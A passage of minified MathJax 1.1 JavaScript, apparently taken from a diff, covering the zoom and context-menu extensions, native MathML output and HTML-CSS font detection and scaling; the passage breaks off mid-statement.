g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
-
-(function(b,c,f){var k="1.1.4";MathJax.Extension.MathMenu={version:k};var i=b.Browser.isPC,g=b.Browser.isMSIE;var e=(i?null:"5px");var j=b.CombineConfig("MathMenu",{delay:150,helpURL:"http://www.mathjax.org/help/user/",showRenderer:true,showFontMenu:false,showContext:false,windowSettings:{status:"no",toolbar:"no",locationbar:"no",menubar:"no",directories:"no",personalbar:"no",resizable:"yes",scrollbars:"yes",width:100,height:50},styles:{"#MathJax_About":{position:"fixed",left:"50%",width:"auto","text-align":"center",border:"3px outset",padding:"1em 2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuActive .MathJax_MenuArrow":{color:"white"},".MathJax_MenuCheck":{position:"absolute",left:".7em","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuRadioCheck":{position:"absolute",left:(i?"1em":".7em")},".MathJax_MenuLabel":{padding:(i?"2px 2em 4px 1.33em":"1px 2em 3px 1.33em"),"font-style":"italic"},".MathJax_MenuRule":{"border-top":(i?"1px solid #CCCCCC":"1px solid #DDDDDD"),margin:(i?"4px 1px 0px":"4px 3px")},".MathJax_MenuDisabled":{color:"GrayText"},".MathJax_MenuActive":{"background-color":(i?"Highlight":"#606872"),color:(i?"HighlightText":"white")}}});var d=function(l){if(!l){l=window.event}if(l){if(l.preventDefault){l.preventDefault()}if(l.stopPropagation){l.stopPropagation()}l.cancelBubble=true;l.returnValue=false}return false};var a=MathJax.Menu=MathJax.Object.Subclass({version:k,items:[],posted:false,title:null,margin:5,Init:function(l){this.items=[].slice.call(arguments,0)},With:function(l){if(l){b.Insert(this,l)}return this},Post:function(n,v){if(!n){n=window.event}var t=(!this.title?null:[["div",{className:"MathJax_MenuTitle"},[this.title]]]);var l=document.getElementById("MathJax_MenuFrame");if(!l){l=a.Background(this)}var o=c.addElement(l,"div",{onmouseup:a.Mouseup,ondblclick:this.False,ondragstart:this.False,onselectstart:this.False,oncontextmenu:this.False,menuItem:this,className:"MathJax_Menu"},t);for(var q=0,p=this.items.length;q<p;q++){this.items[q].Create(o)}this.posted=true;o.style.width=(o.offsetWidth+2)+"px";var u=n.pageX,s=n.pageY;if(!u&&!s){u=n.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;s=n.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(!v){if(u+o.offsetWidth>document.body.offsetWidth-this.margin){u=document.body.offsetWidth-o.offsetWidth-this.margin}a.skipUp=true}else{var r="left",w=v.offsetWidth;u=v.offsetWidth-2;s=0;while(v&&v!==l){u+=v.offsetLeft;s+=v.offsetTop;v=v.parentNode}if(u+o.offsetWidth>document.body.offsetWidth-this.margin){r="right";u=Math.max(this.margin,u-w-o.offsetWidth+6)}if(!i){o.style["borderRadiusTop"+r]=0;o.style["WebkitBorderRadiusTop"+r]=0;o.style["MozBorderRadiusTop"+r]=0;o.style["KhtmlBorderRadiusTop"+r]=0}}o.style.left=u+"px";o.style.top=s+"px";if(document.selection&&document.selection.empty){document.selection.empty()}return this.False(n)},Remove:function(l,m){var n=document.getElementById("MathJax_MenuFrame");if(n){n.parentNode.removeChild(n);if(this.msieBackgroundBug){detachEvent("onresize",a.Resize)}}},Mouseup:function(l,m){if(a.skipUp){delete a.skipUp}else{this.Remove(l,m)}},False:d},{config:j,div:null,Remove:function(l){a.Event(l,this,"Remove")},Mouseover:function(l){a.Event(l,this,"Mouseover")},Mouseout:function(l){a.Event(l,this,"Mouseout")},Mousedown:function(l){a.Event(l,this,"Mousedown")},Mouseup:function(l){a.Event(l,this,"Mouseup")},Mousemove:function(l){a.Event(l,this,"Mousemove")},Event:function(n,o,l){if(!n){n=window.event}var m=o.menuItem;if(m&&m[l]){return m[l](n,o)}return null},BGSTYLE:{position:"absolute",left:0,top:0,"z-index":200,width:"100%",height:"100%",border:0,padding:0,margin:0},Background:function(m){var n=c.addElement(document.body,"div",{style:this.BGSTYLE,id:"MathJax_MenuFrame"},[["div",{style:this.BGSTYLE,menuItem:m,onmousedown:this.Remove}]]);var l=n.firstChild;if(m.msieBackgroundBug){l.style.backgroundColor="white";l.style.filter="alpha(opacity=0)";n.width=n.height=0;this.Resize();attachEvent("onresize",this.Resize)}else{l.style.position="fixed"}return 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false},MSIEmousedown:function(h,g,f){if(h[this.MENUKEY]&&h.button===this.LEFTBUTTON&&this.settings.context!=="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}if(this.MSIEzoomKeys&&this.MSIEzoomKeys(h)){this.trapUp=true;return true}return false},MSIEcontextmenu:function(h,g,f){if(this.settings.context==="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}return false},ContextMenu:function(i,j){if(b.config.showMathMenu&&(b.settings.context==="MathJax"||j)){if(b.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||b.msieEventBug){i=window.event}var g=MathJax.Menu;if(g){if(document.selection){setTimeout("document.selection.empty()",0)}var f=(c?this.parentNode.parentNode.nextSibling:this.parentNode.nextSibling);g.jax=e.getJaxFor(f);g.menu.items[1].menu.items[1].name=(g.jax.inputJax.id==="MathML"?"Original":g.jax.inputJax.id);delete b.trapClick;delete b.trapUp;return g.menu.Post(i)}else{if(!d.loadingMathMenu){d.loadingMathMenu=true;var h={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(d.Require("[MathJax]/extensions/MathMenu.js"),function(){delete d.loadingMathMenu},[this,arguments.callee,h,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(b.config.showMathMenu){if(!f){f=window.event}if(b.settings.context==="MathJax"){if(!b.noContextMenuBug||f.button!==2){return}}else{if(!f[b.MENUKEY]||f.button!==b.LEFTBUTTON){return}}return b.ContextMenu.call(this,f,true)}},Mouseover:function(f){b.HandleEvent(f,"Mouseover",this)},Click:function(f){b.HandleEvent(f,"Click",this)},DblClick:function(f){b.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},NAMEDSPACE:{negativeveryverythinmathspace:"-.0556em",negativeverythinmathspace:"-.1111em",negativethinmathspace:"-.1667em",negativemediummathspace:"-.2222em",negativethickmathspace:"-.2778em",negativeverythickmathspace:"-.3333em",negativeveryverythickmathspace:"-.3889em"}});e.Register.StartupHook("mml Jax Ready",function(){a=MathJax.ElementJax.mml;a.mbase.Augment({toNativeMML:function(k){var h=this.NativeMMLelement(this.type);this.NativeMMLattributes(h);for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)},NativeMMLattributes:function(h){var l=this.defaults;var o=this.NativeMMLcopyAttributes,k=this.NativeMMLskipAttributes;if(this.type==="mstyle"){l=a.math.prototype.defaults}for(var n in l){if(!k[n]&&l.hasOwnProperty(n)){if(this[n]!=null){h.setAttribute(n,this.NativeMMLattribute(n,this[n]))}}}for(var j=0,g=o.length;j<g;j++){if(this[o[j]]!=null){h.setAttribute(o[j],this.NativeMMLattribute(o[j],this[o[j]]))}}},NativeMMLcopyAttributes:["fontfamily","fontsize","fontweight","fontstyle","color","background","id","class","href","style"],NativeMMLskipAttributes:{texClass:1,useHeight:1,texprimestyle:1},NativeMMLattribute:function(h,g){g=String(g);if(b.NAMEDSPACE[g]){g=b.NAMEDSPACE[g]}else{if(g.match(/^\s*([-+]?(\d+(\.\d*)?|\.\d+))\s*mu\s*$/)){g=((1/18)*RegExp.$1)+"em"}else{if(g==="-tex-caligraphic"){g="script"}else{if(g==="-tex-oldstyle"){g="normal"}}}}return g},NativeMMLelement:(c?function(g){return document.createElement("mjx:"+g)}:function(g){return document.createElementNS(b.MMLnamespace,g)})});a.mrow.Augment({toNativeMML:function(j){if(this.inferred&&this.parent.inferRow){for(var h=0,g=this.data.length;h<g;h++){if(this.data[h]){this.data[h].toNativeMML(j)}else{j.appendChild(this.NativeMMLelement("mrow"))}}}else{this.SUPER(arguments).toNativeMML.call(this,j)}}});a.msubsup.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.sup]==null){k="msub"}if(this.data[this.sub]==null){k="msup"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});a.munderover.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.under]==null){k="mover"}if(this.data[this.over]==null){k="munder"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});if(MathJax.Hub.Browser.isFirefox){a.mtable.Augment({toNativeMML:function(g){if(this.width){var h=(this.style||"").replace(/;\s*$/,"").split(";");h.push("width:"+this.width);this.style=h.join(";")}this.SUPER(arguments).toNativeMML.call(this,g)}});a.mlabeledtr.Augment({toNativeMML:function(k){var h=this.NativeMMLelement("mtr");this.NativeMMLattributes(h);for(var j=1,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)}});var f=MathJax.Hub.config.root+"/fonts/HTML-CSS/TeX/otf";b.Augment({config:{styles:{'[mathvariant="double-struck"]':{"font-family":"MathJax_AMS"},'[mathvariant="script"]':{"font-family":"MathJax_Script"},'[mathvariant="fraktur"]':{"font-family":"MathJax_Fraktur"},'[mathvariant="-tex-oldstyle"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-oldstyle-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="-tex-caligraphic"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-caligraphic-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="bold-script"]':{"font-family":"MathJax_Script","font-weight":"bold"},'[mathvariant="bold-fraktur"]':{"font-family":"MathJax_Fraktur","font-weight":"bold"},'[mathvariant="monospace"]':{"font-family":"monospace"},'[mathvariant="sans-serif"]':{"font-family":"sansserif"},'[mathvariant="bold-sans-serif"]':{"font-family":"sansserif","font-weight":"bold"},'[mathvariant="sans-serif-italic"]':{"font-family":"sansserif","font-style":"italic"},'[mathvariant="sans-serif-bold-italic"]':{"font-family":"sansserif","font-style":"italic","font-weight":"bold"},"@font-face /*1*/":{"font-family":"MathJax_AMS",src:"local('MathJax_AMS'), url('"+f+"/MathJax_AMS-Regular.otf')"},"@font-face /*2*/":{"font-family":"MathJax_Script",src:"local('MathJax_Script'), url('"+f+"/MathJax_Script-Regular.otf')"},"@font-face /*3*/":{"font-family":"MathJax_Fraktur",src:"local('MathJax_Fraktur'), url('"+f+"/MathJax_Fraktur-Regular.otf')"},"@font-face /*4*/":{"font-family":"MathJax_Caligraphic",src:"local('MathJax_Caligraphic'), url('"+f+"/MathJax_Caligraphic-Regular.otf')"},"@font-face /*5*/":{"font-family":"MathJax_Fraktur","font-weight":"bold",src:"local('MathJax_Fraktur-Bold'), url('"+f+"/MathJax_Fraktur-Bold.otf')"},"@font-face /*6*/":{"font-family":"MathJax_Caligraphic","font-weight":"bold",src:"local('MathJax_Caligraphic-Bold'), url('"+f+"/MathJax_Caligraphic-Bold.otf')"}}}})}a.TeXAtom.Augment({toNativeMML:function(h){var g=this.NativeMMLelement("mrow");this.data[0].toNativeMML(g);h.appendChild(g)}});a.chars.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.entity.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.xml.Augment({toNativeMML:function(j){for(var h=0,g=this.data.length;h<g;h++){j.appendChild(this.data[h].cloneNode(true))}}});e.Register.StartupHook("TeX mathchoice Ready",function(){a.TeXmathchoice.Augment({toNativeMML:function(g){this.Core().toNativeMML(g)}})});setTimeout(MathJax.Callback(["loadComplete",b,"jax.js"]),0)});e.Register.StartupHook("End Cookie",function(){if(e.config.menuSettings.zoom!=="None"){d.Require("[MathJax]/extensions/MathZoom.js")}})})(MathJax.OutputJax.NativeMML,MathJax.Hub,MathJax.Ajax);
-
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this.testFont(this.FontInfo[f])},testFont:function(h){if(h.isWebFont&&e.FontFaceBug){this.div.style.fontWeight=this.div.style.fontStyle="normal"}else{this.div.style.fontWeight=(h.weight||"normal");this.div.style.fontStyle=(h.style||"normal")}var g=this.getComparisonWidths(h.testString,h.noStyleChar);if(g){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[0];if(this.div.offsetWidth==g[0]){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[g[2]];if(this.div.offsetWidth==g[1]){return false}}if(this.div.offsetWidth!=g[3]){if(h.noStyleChar||!e.FONTDATA||!e.FONTDATA.hasStyleChar){return true}for(var j=0,f=this.testSize.length;j<f;j++){if(this.testStyleChar(h,this.testSize[j])){return true}}}}return false},styleChar:String.fromCharCode(61437),versionChar:String.fromCharCode(61438),compChar:String.fromCharCode(61439),testStyleChar:function(h,j){var m=3+(h.weight?2:0)+(h.style?4:0);var g="",i=0;var l=this.div.style.fontSize;this.div.style.fontSize=j;if(e.msieItalicWidthBug&&h.style==="italic"){this.text.nodeValue=g=this.compChar;i=this.div.offsetWidth}if(e.safariTextNodeBug){this.div.innerHTML=this.compChar+g}else{this.text.nodeValue=this.compChar+g}var f=this.div.offsetWidth-i;if(e.safariTextNodeBug){this.div.innerHTML=this.styleChar+g}else{this.text.nodeValue=this.styleChar+g}var k=Math.floor((this.div.offsetWidth-i)/f+0.5);if(k===m){if(e.safariTextNodeBug){this.div.innerHTML=this.versionChar+g}else{this.text.nodeValue=this.versionChar+g}h.version=Math.floor((this.div.offsetWidth-i)/f+1.5)/2}this.div.style.fontSize=l;return(k===m)},getComparisonWidths:function(j,h){if(e.FONTDATA&&e.FONTDATA.hasStyleChar&&!h){j+=this.styleChar+" "+this.compChar}if(e.safariTextNodeBug){this.div.innerHTML=j}else{this.text.nodeValue=j}this.div.style.fontFamily=this.comparisonFont[0];var g=this.div.offsetWidth,l=-1;if(e.safariWebFontSerif){this.div.style.fontFamily=e.safariWebFontSerif[0];l=this.div.offsetWidth}for(var k=1,f=this.comparisonFont.length;k<f;k++){this.div.style.fontFamily=this.comparisonFont[k];if(this.div.offsetWidth!=g){return[g,this.div.offsetWidth,k,l]}}return null},loadWebFont:function(g){d.Startup.signal.Post("HTML-CSS Jax - Web-Font "+e.fontInUse+"/"+g.directory);var i=MathJax.Message.File("Web-Font "+e.fontInUse+"/"+g.directory);var f=MathJax.Callback({});var h=MathJax.Callback(["loadComplete",this,g,i,f]);c.timer.start(c,[this.checkWebFont,g,h],1,this.timeout);return f},loadComplete:function(h,j,g,f){MathJax.Message.Clear(j);if(f===c.STATUS.OK){g();return}this.loadError(h);if(d.Browser.isFirefox&&e.allowWebFonts){var i=document.location.protocol+"//"+document.location.hostname;if(document.location.port!=""){i+=":"+document.location.port}i+="/";if(c.fileURL(e.webfontDir).substr(0,i.length)!==i){this.firefoxFontError(h)}}e.loadWebFontError(h,g)},loadError:function(f){MathJax.Message.Set("Can't load web font "+e.fontInUse+"/"+f.directory,null,2000)},firefoxFontError:function(f){MathJax.Message.Set("Firefox can't load web fonts from a remote host",null,3000)},checkWebFont:function(f,g,h){if(f.time(h)){return}if(e.Font.testFont(g)){h(f.STATUS.OK)}else{setTimeout(f,f.delay)}},fontFace:function(h){var i=e.allowWebFonts;var k=e.FONTDATA.FONTS[h];if(e.msieFontCSSBug&&!k.family.match(/-Web$/)){k.family+="-Web"}var g=c.fileURL(e.webfontDir+"/"+i);var f=h.replace(/-b/,"-B").replace(/-i/,"-I").replace(/-Bold-/,"-Bold");if(!f.match(/-/)){f+="-Regular"}if(i==="svg"){f+=".svg#"+f}else{f+="."+i}var j={"font-family":k.family,src:"url('"+g+"/"+f+"')"};if(i==="svg"){j.src+=" format('svg')"}if(!(e.FontFaceBug&&k.isWebFont)){if(h.match(/-bold/)){j["font-weight"]="bold"}if(h.match(/-italic/)){j["font-style"]="italic"}}return j}});e.Augment({config:{styles:{".MathJax":{display:"inline","font-family":"serif","font-style":"normal","font-weight":"normal","line-height":"normal","font-size":"100%","font-size-adjust":"none","text-indent":0,"text-align":"left","text-transform":"none","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none",direction:"ltr",border:0,padding:0,margin:0},".MathJax_Display":{position:"relative",display:"block",width:"100%"},".MathJax img, .MathJax nobr, .MathJax a":{border:0,padding:0,margin:0,"max-width":"none","max-height":"none","vertical-align":0,"line-height":"normal","text-decoration":"none"},"img.MathJax_strut":{border:"0 !important",padding:"0 !important",margin:"0 !important","vertical-align":"0 !important"},".MathJax span":{display:"inline",position:"static",border:0,padding:0,margin:0,"vertical-align":0,"line-height":"normal","text-decoration":"none"},".MathJax nobr":{"white-space":"nowrap"},".MathJax img":{display:"inline ! important"},".MathJax_Processing":{visibility:"hidden",position:"fixed",width:0,height:0,overflow:"hidden"},".MathJax .MathJax_HitBox":{cursor:"text"},"#MathJax_Tooltip":{position:"absolute",left:0,top:0,width:"auto",height:"auto",display:"none"},"#MathJax_Tooltip *":{filter:"none",background:"transparent"}}},settings:d.config.menuSettings,LEFTBUTTON:(d.Browser.isMSIE?1:0),MENUKEY:"altKey",Font:null,Config:function(){this.Font=b();this.SUPER(arguments).Config.call(this);var g=this.settings;if(this.adjustAvailableFonts){this.adjustAvailableFonts(this.config.availableFonts)}if(g.scale){this.config.scale=g.scale}if(g.font&&g.font!=="Auto"){if(g.font==="TeX (local)"){this.config.availableFonts=["TeX"];this.config.preferredFont="TeX";this.config.webFont="TeX"}else{if(g.font==="STIX (local)"){this.config.availableFonts=["STIX"];this.config.preferredFont="STIX";this.config.webFont="TeX"}else{if(g.font==="TeX (web)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont="TeX"}else{if(g.font==="TeX (image)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont=""}}}}}var f=this.Font.findFont(this.config.availableFonts,this.config.preferredFont);if(!f&&this.allowWebFonts){f=this.config.webFont;if(f){this.webFonts=true}}if(!f&&this.config.imageFont){f=this.config.imageFont;this.imgFonts=true}if(f){this.fontInUse=f;this.fontDir+="/"+f;this.webfontDir+="/"+f;if(!this.require){this.require=[]}this.require.push(this.fontDir+"/fontdata.js");if(this.imgFonts){this.require.push(this.directory+"/imageFonts.js");d.Startup.signal.Post("HTML-CSS Jax - using image fonts")}}else{MathJax.Message.Set("Can't find a valid font using ["+this.config.availableFonts.join(", ")+"]",null,3000);this.FONTDATA={TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,ffLineH:0.8,FONTS:{},VARIANT:{normal:{fonts:[]}},RANGES:[],DELIMITERS:{},RULECHAR:45,REMAP:{}};if(MathJax.InputJax.TeX&&MathJax.InputJax.TeX.Definitions){MathJax.InputJax.TeX.Definitions.macros.overline[1]="002D";MathJax.InputJax.TeX.Definitions.macros.underline[1]="002D"}d.Startup.signal.Post("HTML-CSS Jax - no valid font")}},Startup:function(){var h=[],l=this.FONTDATA.VARIANT.normal.fonts;if(!(l instanceof Array)){l=[l]}for(var g=0,f=l.length;g<f;g++){h[g]=this.FONTDATA.FONTS[l[g]].family;if(!h[g]){h[g]=l[g]}}this.config.styles[".MathJax .math span"]=this.config.styles["#MathJax_getScales"]={"font-family":h.join(",")};this.hiddenDiv=this.Element("div",{style:{visibility:"hidden",overflow:"hidden",position:"absolute",top:0,height:"1px",width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal"}});if(!document.body.firstChild){document.body.appendChild(this.hiddenDiv)}else{document.body.insertBefore(this.hiddenDiv,document.body.firstChild)}this.hiddenDiv=this.addElement(this.hiddenDiv,"div",{id:"MathJax_Hidden"});var k=this.addElement(this.hiddenDiv,"div",{style:{width:"5in"}});this.pxPerInch=k.offsetWidth/5;this.hiddenDiv.removeChild(k);this.startMarker=e.createStrut(this.Element("span"),10,true);this.endMarker=this.addText(this.Element("span"),"x").parentNode;this.HDspan=this.Element("span");if(this.operaHeightBug){this.createStrut(this.HDspan,0)}if(this.msieInlineBlockAlignBug){this.HDimg=this.addElement(this.HDspan,"img",{style:{height:"0px",width:"1px"}});try{this.HDimg.src="about:blank"}catch(j){}}else{this.HDimg=e.createStrut(this.HDspan,0)}this.HDMspan=this.Element("span",{style:{position:"absolute","font-size-adjust":"none"}});if(this.msieInlineBlockAlignBug){this.HDMimg=this.addElement(this.HDMspan,"img",{style:{height:"0px",width:"1px","max-width":"none","max-height":"none",border:0,padding:0,margin:0}});try{this.HDMimg.src="about:blank"}catch(j){}}else{this.HDMimg=e.createStrut(this.HDMspan,0);this.HDMimg.style.marginRight=""}this.marginCheck=e.Element("span",null,[["span",{style:{display:"inline-block",width:"5em"}}]]);this.marginMove=e.addElement(this.marginCheck,"span",{style:{display:"inline-block",width:"5em",marginLeft:"-5em"}});return c.Styles(this.config.styles,["PreloadWebFonts",this])},PreloadWebFonts:function(){if(!e.allowWebFonts||!e.config.preloadWebFonts){return}for(var g=0,f=e.config.preloadWebFonts.length;g<f;g++){var h=e.FONTDATA.FONTS[e.config.preloadWebFonts[g]];if(!h.available){e.Font.testFont(h)}}},Translate:function(l){if(!l.parentNode){return}var j=l.previousSibling;if(j&&String(j.className).match(/^MathJax(_MathML|_Display)?$/)){j.parentNode.removeChild(j)}var m=l.MathJax.elementJax.root,n,f,h;n=f=h=this.Element("span",{className:"MathJax",oncontextmenu:this.ContextMenu,onmousedown:this.Mousedown,onmouseover:this.Mouseover,onclick:this.Click,ondblclick:this.DblClick});var i=(m.Get("display")==="block");if(i){f=h=this.Element("div",{className:"MathJax_Display",style:{width:"100%",position:"relative"}});f.appendChild(n)}f.setAttribute("role","textbox");f.setAttribute("aria-readonly","true");if(this.useProcessingFrame){h=this.Element((i?"div":"span"),{className:"MathJax_Processing"});h.appendChild(f)}l.parentNode.insertBefore(h,l);var g;try{this.getScales(n);g=(this.em===0||String(this.em)==="NaN")}catch(k){g=true}if(g){this.hiddenDiv.appendChild(h);this.getScales(n)}this.initImg(n);this.initHTML(m,n);m.setTeXclass();try{m.toHTML(n,f)}catch(k){if(k.restart){h.parentNode.removeChild(h)}throw k}if(g){l.parentNode.insertBefore(h,l)}if(this.useProcessingFrame){h.parentNode.replaceChild(f,h)}},ContextMenu:function(i,j){if(e.config.showMathMenu&&(e.settings.context==="MathJax"||j)){if(e.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||e.msieEventBug){i=window.event}var f=MathJax.Menu;if(f){var h=(this.parentNode.className==="MathJax_Display"?this.parentNode:this);f.jax=d.getJaxFor(h.nextSibling);f.menu.items[1].menu.items[1].name=(f.jax.inputJax.id==="MathML"?"Original":f.jax.inputJax.id);return f.menu.Post(i)}else{if(!c.loadingMathMenu){c.loadingMathMenu=true;var g={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(c.Require("[MathJax]/extensions/MathMenu.js"),function(){delete c.loadingMathMenu},[this,arguments.callee,g,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(e.config.showMathMenu){if(!f){f=window.event}if(e.settings.context==="MathJax"){if(!e.noContextMenuBug||f.button!==2){return}}else{if(!f[e.MENUKEY]||f.button!==e.LEFTBUTTON){return}}return e.ContextMenu.call(this,f,true)}},Mouseover:function(f){e.HandleEvent(f,"Mouseover",this)},Click:function(f){e.HandleEvent(f,"Click",this)},DblClick:function(f){e.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},initImg:function(f){},initHTML:function(g,f){},initFont:function(f){var h=e.FONTDATA.FONTS,g=e.config.availableFonts;if(g&&g.length&&e.Font.testFont(h[f])){h[f].available=true;return null}if(!this.allowWebFonts){return null}h[f].isWebFont=true;if(e.FontFaceBug){h[f].family=f;if(e.msieFontCSSBug){h[f].family+="-Web"}}return c.Styles({"@font-face":this.Font.fontFace(f)})},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/^MathJax/)){g.parentNode.removeChild(g)}},getScales:function(h){h.parentNode.insertBefore(this.HDMspan,h);this.HDMspan.className="";this.HDMspan.id="";this.HDMspan.style.fontSize="";this.HDMimg.style.height="1px";this.HDMimg.style.width="60ex";var g=this.HDMspan.offsetWidth/60;this.HDMspan.className="MathJax";this.HDMspan.id="MathJax_getScales";this.HDMimg.style.width="60em";var f=this.outerEm=this.HDMspan.offsetWidth/60;this.scale=Math.floor(Math.max(this.config.minScaleAdjust/100,(g/this.TeX.x_height)/f)*this.config.scale);h.style.fontSize=this.HDMspan.style.fontSize=this.scale+"%";this.em=a.mbase.prototype.em=this.HDMspan.offsetWidth/60;if(this.operaFontSizeBug&&f===this.em&&this.scale!==100){this.em=a.mbase.prototype.em=f*this.scale/100}h.parentNode.removeChild(this.HDMspan);this.msieMarginScale=this.getMarginScale(h)},getMarginScale:function(f){return 1},getMSIEmarginScale:function(h){h.appendChild(this.marginCheck);var f=this.marginCheck.offsetWidth,g=this.marginMove.offsetWidth;var i=(2*g-f?g/(2*g-f):1);h.removeChild(this.marginCheck);return i},getHD:function(g){var f=g.style.position;g.style.position="absolute";this.HDimg.style.height="0px";g.appendChild(this.HDspan);var h={h:g.offsetHeight};this.HDimg.style.height=h.h+"px";h.d=g.offsetHeight-h.h;h.h-=h.d;h.h/=this.em;h.d/=this.em;g.removeChild(this.HDspan);g.style.position=f;return h},getW:function(i){var g=i.offsetWidth,h=(i.bbox?i.bbox.w:-1),j=i;if((h<0||this.negativeSkipBug)&&g>=0){if(this.negativeSkipBug){var f=i.style.position;i.style.position="absolute";j=this.startMarker;if(i.firstChild){i.insertBefore(j,i.firstChild)}else{i.appendChild(j)}j=this.startMarker}i.appendChild(this.endMarker);g=this.endMarker.offsetLeft-j.offsetLeft;i.removeChild(this.endMarker);if(this.negativeSkipBug){i.removeChild(j);i.style.position=f}}return g/this.em},Measured:function(h,g){if(h.bbox.width==null&&h.bbox.w&&!h.bbox.isMultiline){var f=this.getW(h);h.bbox.rw+=f-h.bbox.w;h.bbox.w=f}if(!g){g=h.parentNode}if(!g.bbox){g.bbox=h.bbox}return h},Remeasured:function(g,f){f.bbox=this.Measured(g,f).bbox},Em:function(f){if(Math.abs(f)<0.0006){return"0em"}return f.toFixed(3).replace(/\.?0+$/,"")+"em"},Percent:function(f){return(100*f).toFixed(1).replace(/\.?0+$/,"")+"%"},length2percent:function(f){return this.Percent(this.length2em(f))},length2em:function(k,i){if(typeof(k)!=="string"){k=k.toString()}if(k===""){return""}if(k===a.SIZE.NORMAL){return 1}if(k===a.SIZE.BIG){return 2}if(k===a.SIZE.SMALL){return 0.71}if(k==="infinity"){return e.BIGDIMEN}var h=this.FONTDATA.TeX_factor;if(k.match(/mathspace$/)){return e.MATHSPACE[k]*h}var g=k.match(/^\s*([-+]?(?:\.\d+|\d+(?:\.\d*)?))?(pt|em|ex|mu|px|pc|in|mm|cm|%)?/);var 